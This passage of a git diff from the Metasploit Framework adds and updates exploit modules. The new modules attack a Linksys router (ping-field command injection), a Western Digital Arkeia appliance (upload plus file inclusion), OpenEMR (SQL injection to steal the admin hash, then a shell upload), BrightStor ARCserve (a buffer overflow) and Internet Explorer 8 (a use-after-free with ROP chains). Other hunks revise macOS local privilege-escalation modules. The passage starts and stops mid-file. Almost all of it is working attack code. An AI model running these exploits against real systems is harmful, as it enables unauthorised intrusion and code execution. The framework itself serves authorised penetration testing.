'1', + } + }) + end + +end diff --git a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb new file mode 100644 index 0000000000..91270597fc --- /dev/null +++ b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb @@ -0,0 +1,121 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerEcho + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys WRT110 Remote Command Execution', + 'Description' => %q{ + The Linksys WRT110 consumer router is vulnerable to a command injection + exploit in the ping field of the web interface. + }, + 'Author' => + [ + 'Craig Young', # Vulnerability discovery + 'joev ', # msf module + 'juan vazquez' # module help + echo cmd stager + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-3568'], + ['BID', '61151'], + ['URL', 'http://seclists.org/bugtraq/2013/Jul/78'] + ], + 'DisclosureDate' => 'Jul 12 2013', + 'Privileged' => true, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSLE, + 'Targets' => + [ + ['Linux mipsel Payload', { } ] + ], + 'DefaultTarget' => 0, + )) + + register_options([ + OptString.new('USERNAME', [ true, 'Valid router administrator username', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']), + OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']), + OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20]) + ], self.class) + + end + + def check + begin + res = send_request_cgi({ + 'uri' => '/HNAP1/' + }) + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + if res and res.code == 200 and res.body =~ /WRT110<\/ModelName>/ + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + test_login! + + execute_cmdstager + end + + # Sends an HTTP request with authorization header to the router + # Raises an exception unless the login is successful + def test_login! + print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}") + + res = send_auth_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if not res or res.code == 401 or res.code == 404 + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Could not login with #{user}:#{pass}") + else + print_good("#{rhost}:#{rport} - Successful login #{user}:#{pass}") + end + end + + # Run the command on the router + def execute_command(cmd, opts) + send_auth_request_cgi({ + 'uri' => '/ping.cgi', + 'method' => 'POST', + 'vars_post' => { + 'pingstr' => '& ' + cmd + } + }) + + Rex.sleep(1) # Give the device a second + end + + # Helper methods + def user; datastore['USERNAME']; end + def pass; datastore['PASSWORD'] || ''; end + + def send_auth_request_cgi(opts={}, timeout=nil) + timeout ||= datastore['TIMEOUT'] + opts.merge!('authorization' => basic_auth(user, pass)) + begin + send_request_cgi(opts, timeout) + rescue ::Rex::ConnectionError + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") + end + end +end diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index 6fde33b3a2..386105e17b 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' require 'msf/core/exploit/exe' class Metasploit4 < Msf::Exploit::Local @@ -16,7 +14,6 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File - include Msf::Post::Common def initialize(info={}) super( update_info( info, { diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index 721447e603..2edfc1ba59 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' require 'msf/core/exploit/exe' class Metasploit4 < Msf::Exploit::Local @@ -16,7 +14,6 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File - include Msf::Post::Common def initialize(info={}) super( update_info( info, { diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index a64e432437..1d4ca68e74 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -7,8 +7,6 @@ ## require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' require 'msf/core/exploit/exe' require 'shellwords' @@ -19,7 +17,6 @@ class Metasploit3 < Msf::Exploit::Local # it at his own risk Rank = NormalRanking - include Msf::Post::Common include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -27,9 +24,10 @@ class Metasploit3 < Msf::Exploit::Local SYSTEMSETUP_PATH = "/usr/sbin/systemsetup" SUDOER_GROUP = "admin" VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']] + CMD_TIMEOUT = 45 # saved clock config - attr_accessor :time, :date, :networked, :zone, :network_server + attr_accessor :clock_changed, :date, :network_server, :networked, :time, :zone def initialize(info={}) super(update_info(info, @@ -44,8 +42,14 @@ class Metasploit3 < Msf::Exploit::Local user has ever run the "sudo" command, it is possible to become the super user by running `sudo -k` and then resetting the system clock to 01-01-1970. - This module will fail silently if the user is not an admin or if the user has never - run the sudo command. + This module will fail silently if the user is not an admin, if the user has never + run the sudo command, or if the admin has locked the Date/Time preferences. + + Note: If the user has locked the Date/Time preferences, requests to overwrite + the system clock will be ignored, and the module will silently fail. However, + if the "Require an administrator password to access locked preferences" setting + is not enabled, the Date/Time preferences are often unlocked everytime the admin + logs in, so you can install persistence and wait for a chance later. }, 'License' => MSF_LICENSE, 'Author' => @@ -115,10 +119,10 @@ class Metasploit3 < Msf::Exploit::Local if not user_in_admin_group? print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)." - Exploit::CheckCode::Safe + return Exploit::CheckCode::Safe end # one root for you sir - Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Vulnerable end def exploit @@ -128,15 +132,6 @@ class Metasploit3 < Msf::Exploit::Local # "remember" the current system time/date/network/zone print_good("User is an admin, continuing...") - # drop the payload (unless CMD) - if using_native_target? - cmd_exec("mkdir -p #{File.dirname(drop_path)}") - write_file(drop_path, generate_payload_exe) - register_files_for_cleanup(drop_path) - cmd_exec("chmod +x #{[drop_path].shelljoin}") - print_status("Payload dropped and registered for cleanup") - end - print_status("Saving system clock config...") @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] @@ -150,19 +145,23 @@ class Metasploit3 < Msf::Exploit::Local end def cleanup - print_status("Resetting system clock to original values") if @time - cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? - cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? - cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? - - if @networked - cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On") - unless @network_server.nil? - cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") + if @clock_changed + print_status("Resetting system clock to original values") if @time + cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? + cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? + cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? + if @networked + cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On") + unless @network_server.nil? + cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") + end end + print_good("Completed clock reset.") + else + print_status "Skipping cleanup since the clock was never changed" end - print_good("Completed clock reset.") if @time + super end private @@ -174,6 +173,23 @@ class Metasploit3 < Msf::Exploit::Local "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+ " -setdate 01:01:1970 -settime 00:00" ) + if not cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match("1/1/1970") + fail_with( + Exploit::Failure::NoAccess, + "Date and time preference pane appears to be locked. By default, this pane is unlocked upon login." + ) + else + @clock_changed = true + end + + # drop the payload (unless CMD) + if using_native_target? + cmd_exec("mkdir -p #{File.dirname(drop_path)}") + write_file(drop_path, generate_payload_exe) + register_files_for_cleanup(drop_path) + cmd_exec("chmod +x #{[drop_path].shelljoin}") + print_status("Payload dropped and registered for cleanup") + end # Run Test test = rand_text_alpha(4 + rand(4)) @@ -207,6 +223,11 @@ class Metasploit3 < Msf::Exploit::Local end + # default cmd_exec timeout to CMD_TIMEOUT constant + def cmd_exec(cmd, args=nil, timeout=CMD_TIMEOUT) + super + end + # helper methods for accessing datastore def using_native_target?; target.name =~ /native/i; end def using_cmd_target?; target.name =~ /cmd/i; end diff --git a/modules/exploits/unix/local/setuid_nmap.rb b/modules/exploits/unix/local/setuid_nmap.rb index 4c4ca3a52e..ed1b45b928 100644 --- a/modules/exploits/unix/local/setuid_nmap.rb +++ b/modules/exploits/unix/local/setuid_nmap.rb @@ -7,9 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/linux/priv' require 'msf/core/exploit/exe' @@ -18,7 +15,6 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File - include Msf::Post::Common def initialize(info={}) super( update_info( info, { diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb new file mode 100644 index 0000000000..803fd4e3db --- /dev/null +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -0,0 +1,137 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Western Digital Arkeia Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in Western Digital Arkeia Appliance + version 10.0.10 and lower. By abusing the upload.php script, + a malicious user can upload arbitrary code to the ApplianceUpdate file in the temp + directory without authentication. Abusing the local file inclusion in the lang + cookie to parse this file results in arbitrary code execution, also without + authentication. The module has been tested successfully on Arkeia 10.0.10. The issues + have been fixed in version 10.1.10. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xistence ' # Discovery, Metasploit module + ], + 'References' => + [ + ['EDB', '28330'] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Western Digital Arkeia Appliance 10.0.10', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Sep 16 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the Arkeia Appliance', '/']) + ], self.class) + end + + def uri + return target_uri.path + end + + def peer + return "#{rhost}:#{rport}" + end + + def check + # Check version + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri) + }) + + if res and res.code == 200 and res.body =~ /v(\d+\.\d+\.\d+)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} detected") + + if version > "10.0.10" + return Exploit::CheckCode::Safe + end + + # Check for vulnerable component + print_status("#{peer} - Trying to detect the vulnerable component") + + res = send_request_cgi({ + 'method' => 'GET', + 'headers' => { 'Cookie' => "lang=fr" }, + 'uri' => normalize_uri(uri) + }) + + if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/ + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + payload_name = rand_text_alpha(rand(10) + 5) + + post_data = Rex::MIME::Message.new + post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"UPLOAD\"; filename=\"#{payload_name}\"") + file = post_data.to_s + file.strip! + + print_status("#{peer} - Sending PHP payload which will be uploaded to hardcoded /tmp/ApplianceUpdate") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "scripts", "upload.php"), + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => file + }) + + # If the server returns 200 we assume we uploaded the malicious + # file successfully + if not res or res.code != 200 + fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!") + end + + register_files_for_cleanup("/tmp/ApplianceUpdate") + + print_status("#{peer} - Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate") + res = send_request_cgi({ + 'method' => 'GET', + 'headers' => { 'Cookie' => "lang=../../../../../../../../../../../../../../../../tmp/ApplianceUpdate%00en" }, + 'uri' => normalize_uri(uri) + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. + if res and res.code != 200 + print_error("#{peer} - Unexpected response, probably the exploit failed") + end + + end + +end diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 241ac9d49a..ef9d524fb2 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_PHP, 'Targets' => [ - [ 'Joomla 2.5.x <=2.5.13', {} ] + [ 'Joomla 2.5.x <=2.5.13 / Joomla 3.x <=3.1.4', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Aug 01 2013", @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = get_upload_form - if res and res.code == 200 + if res and (res.code == 200 or res.code == 302) if res.body =~ /You are not authorised to view this resource/ print_status("#{peer} - Joomla Media Manager Found but authentication required") return Exploit::CheckCode::Detected @@ -124,7 +124,6 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_get' => { 'option' => 'com_media', 'view' => 'images', - 'tmpl' => 'component', 'e_name' => 'jform_articletext', 'asset' => 'com_content', 'author' => '' @@ -182,7 +181,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Checking Access to Media Component...") res = get_upload_form - if res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/ + if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/ print_status("#{peer} - Authentication required... Proceeding...") if @username.empty? or @password.empty? @@ -192,7 +191,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Accessing the Login Form...") res = get_login_form - if res.nil? or res.code != 200 or res.body !~ /login/ + if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/ fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form") end parse_login_options(res.body) @@ -201,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote if not res or res.code != 303 fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate") end - elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ /
"OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in OpenEMR version 4.1.1 Patch 14 and lower. + When logging in as any non-admin user, it's possible to retrieve the admin SHA1 password + hash from the database through SQL injection. The SQL injection vulnerability exists + in the "new_comprehensive_save.php" page. This hash can be used to log in as the admin + user. After logging in, the "manage_site_files.php" page will be used to upload arbitrary + code. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xistence ' # Discovery, Metasploit module + ], + 'References' => + [ + ['OSVDB', '97482'], + ['EDB', '28329'] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['OpenEMR', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Sep 16 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr']), + OptString.new('USER', [true, 'The non-admin user', '']), + OptString.new('PASS', [true, 'The non-admin password', '']) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def uri + return target_uri.path + end + + def check + # Check version + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "interface", "login", "login.php") + }) + + if res and res.code == 200 and res.body =~ /v(\d+.\d+.\d+)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} detected") + + if version < "4.1.2" + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + def login(base, name, pass) + #print_status("#{peer} - Logging in as non-admin user [ #{datastore['USER']} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri("#{base}", "interface", "main", "main_screen.php"), + 'vars_get' => { + "auth" => "login", + "site" => "default" + }, + 'vars_post' => { + 'authProvider' => 'Default', + 'authUser' => "#{name}", + 'authPass' => "#{pass}" + } + }) + + if res && res.code == 200 and res.headers['Set-Cookie'] =~ /OpenEMR=([a-zA-Z0-9]+)/ + session = $1 + print_status("#{rhost}:#{rport} - Login successful") + print_status("#{rhost}:#{rport} - Session cookie is [ #{session} ]") + return session + else + fail_with(Failure::Unknown, "#{peer} - Login was not succesful!") + end + end + + def exploit + # Password should be converted to a SHA1 hash + password = Rex::Text.sha1(datastore['PASS']) + + # Login as non-admin + cookie = login(uri, datastore['USER'], password) + + sqlq = rand_text_alpha(8) + # Generate random string and convert to hex + sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join + + # Our SQL Error-Based Injection string - The string will return the admin password hash between the words ABCDABCD in the response page. + sqli = "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) " + sqli << "FROM users WHERE username = 0x61646d696e LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '#{sqlq}'='#{sqlq}" + + post_data = "form_pubpid=#{sqli}" + print_status("#{peer} - Retrieving admin password hash through SQLi") + res = send_request_cgi({ + 'method' => 'POST', + 'data' => post_data, + 'cookie' => "OpenEMR=#{cookie}", + 'uri' => normalize_uri(uri, "interface", "new", "new_comprehensive_save.php") + }) + + if res and res.code == 200 and res.body =~ /#{sqlq}([a-zA-Z0-9]+)#{sqlq}/ + adminhash = $1 + print_status("#{peer} - Admin password hash is [ #{adminhash} ]") + else + fail_with(Failure::Unknown, "#{peer} - Retrieving admin password failed!") + end + + # Login as admin and retrieve cookie + cookie = login(uri, "admin", "#{adminhash}") + + # Random filename + payload_name = rand_text_alpha(rand(10) + 5) + '.php' + + post_data = Rex::MIME::Message.new + post_data.add_part("", nil, nil, "form-data; name=\"bn_save\"") + post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"form_image\"; filename=\"#{payload_name}\"") + file = post_data.to_s + file.strip! + + print_status("#{peer} - Uploading shell [ #{payload_name} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "interface", "super", "manage_site_files.php"), + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => "OpenEMR=#{cookie}", + 'data' => file + }) + + # If the server returns 200 and the body contains our payload name, + # we assume we uploaded the malicious file successfully + if not res or res.code != 200 or res.body !~ /#{payload_name}/ + fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!") + end + + register_file_for_cleanup(payload_name) + + print_status("#{peer} - Requesting shell [ #{uri}/sites/default/images/#{payload_name} ]") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "sites", "default", "images", "#{payload_name}") + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. + if res and res.code != 200 + print_error("#{peer} - Unexpected response, exploit probably failed!") + end + + end + +end diff --git a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb new file mode 100644 index 0000000000..8147250ad9 --- /dev/null +++ b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb @@ -0,0 +1,92 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + Rank = AverageRanking + + include Msf::Exploit::Remote::DCERPC + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup + r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow + the buffer and execute arbitrary code. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '68330'], + [ 'URL', 'http://www.metasploit.com/users/mc' ], + ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'Space' => 500, + 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ], + ], + 'DisclosureDate' => 'Oct 4 2010', + 'DefaultTarget' => 0)) + + register_options([ Opt::RPORT(6502) ], self.class) + end + + def exploit + + connect + + handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) + print_status("Binding to #{handle} ...") + + dcerpc_bind(handle) + print_status("Bound to #{handle} ...") + + request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00" + request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + dcerpc.call(0x2B, request) + + sploit = NDR.long(4) + sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00") + + print_status("Trying target #{target.name}...") + + begin + dcerpc_call(0x8A, sploit) + rescue Rex::Proto::DCERPC::Exceptions::NoResponse + end + + handler + disconnect + + end + +end +=begin +/* opcode: 0x8A, address: 0x100707D0 */ + +long sub_100707D0 ( + [in] handle_t arg_1, + [in] long arg_2, + [in][ref][string] char * arg_3 +); +=end diff --git a/modules/exploits/windows/brightstor/tape_engine_8A.rb b/modules/exploits/windows/brightstor/tape_engine_8A.rb index 8147250ad9..f8ba96a56b 100644 --- a/modules/exploits/windows/brightstor/tape_engine_8A.rb +++ b/modules/exploits/windows/brightstor/tape_engine_8A.rb @@ -12,6 +12,8 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC + include Msf::Module::Deprecated + deprecated Date.new(2013, 10, 2), "exploit/windows/brightstor/tape_engine_0x8a" def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb new file mode 100644 index 0000000000..55b6843d11 --- /dev/null +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -0,0 +1,265 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", + 'Description' => %q{ + In IE8 standards mode, it's possible to cause a use-after-free condition by first + creating an illogical table tree, where a CPhraseElement comes after CTableRow, + with the final node being a sub table element. When the CPhraseElement's outer + content is reset by using either outerText or outerHTML through an event handler, + this triggers a free of its child element (in this case, a CAnchorElement, but + some other objects apply too), but a reference is still kept in function + SRunPointer::SpanQualifier. This function will then pass on the invalid reference + to the next functions, eventually used in mshtml!CElement::Doc when it's trying to + make a call to the object's SecurityContext virtual function at offset +0x70, which + results a crash. An attacker can take advantage of this by first creating an + CAnchorElement object, let it free, and then replace the freed memory with another + fake object. Successfully doing so may allow arbitrary code execution under the + context of the user. + + This bug is specific to Internet Explorer 8 only. It was originally discovered by + Jose Antonio Vazquez Gonzalez and reported to iDefense, but was discovered again + by Orange Tsai at Hitcon 2013. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jose Antonio Vazquez Gonzalez', # Original discovery reported from iDefense + 'Orange Tsai', # Rediscovery, published at Hitcon 2013 + 'Peter Vreugdenhil', # Joins the party (wtfuzz) + 'sinn3r' # Joins the party + ], + 'References' => + [ + [ 'CVE', '2013-3163' ], + [ 'OSVDB', '94981' ], + [ 'MSB', 'MS13-055' ], + [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'IE 8 on Windows XP SP3', + { + 'Rop' => :msvcrt, + 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret + 'Align' => 0x77c4d801 # add esp, 0x2c; ret + } + ], + [ + 'IE 8 on Windows 7', + { + 'Rop' => :jre, + 'Pivot' => 0x7c348b05, # xchg eax, esp; ret + 'Align' => 0x7C3445F8 # add esp, 0x2c; ret + } + ] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + # Bug was patched in July 2013. Tsai was the first to publish the bug. + # But Jose already reported way back in Oct 2012 (to iDefense) + 'DisclosureDate' => "Jul 09 2013", + 'DefaultTarget' => 0)) + end + + def get_target(agent) + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + return t + end + end + + nil + end + + def get_payload(t, cli) + rop = '' + code = payload.encoded + esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + + case t['Rop'] + when :msvcrt + # Stack adjustment # add esp, -3500 + esp_align = "\x81\xc4\x54\xf2\xff\xff" + + print_status("Using msvcrt ROP") + rop = + [ + 0x77c1e844, # POP EBP # RETN [msvcrt.dll] + 0x77c1e844, # skip 4 bytes [msvcrt.dll] + 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] + 0xffffffff, + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c127e5, # INC EBX # RETN [msvcrt.dll] + 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] + 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] + 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] + 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) + 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] + 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] + 0x77c3048a, # POP EDI # RETN [msvcrt.dll] + 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] + 0x77c46efb, # POP ESI # RETN [msvcrt.dll] + 0x77c2aacc, # JMP [EAX] [msvcrt.dll] + 0x77c3b860, # POP EAX # RETN [msvcrt.dll] + 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] + 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] + 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] + ].pack("V*") + else + print_status("Using JRE ROP") + rop = + [ + 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN + 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) + 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] + 0x7c3415a2, # JMP [EAX] [msvcr71.dll] + 0xffffffff, + 0x7c376402, # skip 4 bytes [msvcr71.dll] + 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] + 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] + 0x7c344f87, # POP EDX # RETN [msvcr71.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] + 0x7c34d201, # POP ECX # RETN [msvcr71.dll] + 0x7c38b001, # &Writable location [msvcr71.dll] + 0x7c347f97, # POP EAX # RETN [msvcr71.dll] + 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] + 0x7c345c30 # ptr to 'push esp # ret 